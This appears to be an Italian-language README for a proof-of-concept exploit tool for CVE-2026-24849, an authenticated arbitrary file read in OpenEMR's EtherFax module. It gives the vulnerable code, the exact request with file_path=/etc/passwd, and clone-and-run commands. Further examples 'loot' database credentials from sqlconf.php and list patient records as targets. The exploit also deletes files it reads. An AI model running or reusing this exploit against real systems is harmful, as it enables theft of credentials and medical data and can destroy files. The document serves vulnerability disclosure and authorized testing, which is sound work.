
Proof-of-concept exploit per CVE-2026-24849, una lettura arbitraria di file tramite path-traversal autenticato nel modulo EtherFax di OpenEMR. Legge i file del server, incluse le credenziali del database e le cartelle cliniche dei pazienti.
disposeDoc)Proof-of-concept exploit per CVE-2026-24849, una lettura arbitraria di file / path-traversal autenticata nel modulo Fax/SMS (EtherFax) di OpenEMR. Qualsiasi utente autenticato indipendentemente dal livello di privilegio può leggere file arbitrari dal filesystem del server come utente web-server (credenziali del database, documenti dei pazienti/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Vulnerabilità | Path Traversal / Lettura Arbitraria di File (CWE-22) |
| Componente | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| Versioni interessate | OpenEMR < 7.0.4 |
| Corretto in | OpenEMR 7.0.4 |
| Autenticazione | Richiesto qualsiasi utente, nessun privilegio necessario |
| Gravità | NVD 6.5 (Medio) / GitHub CNA 9.9 (Critico) |
| Testato su | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Il metodo disposeDoc() del modulo Fax/SMS accetta un parametro di richiesta file_path fornito dal chiamante, conferma che il file esista e lo passa direttamente a readfile() con nessuna canonicalizzazione del percorso, nessuna allow-list e nessun controllo di autorizzazione oltre al possesso di una sessione valida:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
L'handler viene raggiunto tramite il dispatcher del modulo con un percorso assoluto in file_path (nessuna traversione ../ necessaria):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Un account a bassi privilegi (o predefinito) diventa una primitiva completa di lettura file lato server:
sites/default/sqlconf.phpsites/<site>/documents/, anche quando quella directory è Deny from all nel .htaccess (la lettura avviene su disco, bypassando Apache)/etc/passwd, sorgenti dell'applicazione, chiavi/token leggibili dall'utente web⚠️ Comportamento distruttivo
disposeDoc()chiamaunlink($where)dopo aver letto il file. Leggere un file che l'utente web-server può eliminare lo rimuoverà. Punta a file di proprietà di root (es./etc/passwd,sqlconf.phpnella maggior parte delle installazioni): la directory padre non è scrivibile dall'utente web, quindiunlink()fallisce e il file sopravvive. Sii consapevole di ciò a cui punti.
admin:pass).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Eseguito senza argomenti chiederà tutto ciò di cui ha bisogno:
python3 CVE-2026-24849.py
Oppure guidalo in modalità non interattiva con i flag:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
| Flag | Descrizione | Predefinito |
|---|---|---|
-t, --target | URL di base, es. http://10.10.10.10 | richiesto |
-u, --user | Nome utente OpenEMR | admin |
-P, --password | Password OpenEMR | richiesto (nascosto) |
-s, --site | ID sito OpenEMR | default |
-f, --file | Percorso assoluto del file remoto da leggere | loop interattivo se omesso |
-o, --output | Salva il file recuperato localmente invece di stamparlo |
Se -f viene omesso, lo strumento entra in un loop di lettura interattivo così puoi scaricare più file da una singola sessione.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, mantenendo la sessione in un proprio cookie jar (evita la rotazione dell'ID di sessione del browser che rende stantii i cookie copiati).disposeDoc, provando automaticamente sia disposeDoc che disposeDocument (il nome del metodo varia tra le versioni minori interessate)..htaccess come unico controllo.Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai un'esplicita autorizzazione scritta a testare. L'autore non si assume alcuna responsabilità per un uso improprio o per qualsiasi danno causato da questo software. Nota il comportamento distruttivo di unlink() descritto sopra.
doany1
MIT vedi LICENSE.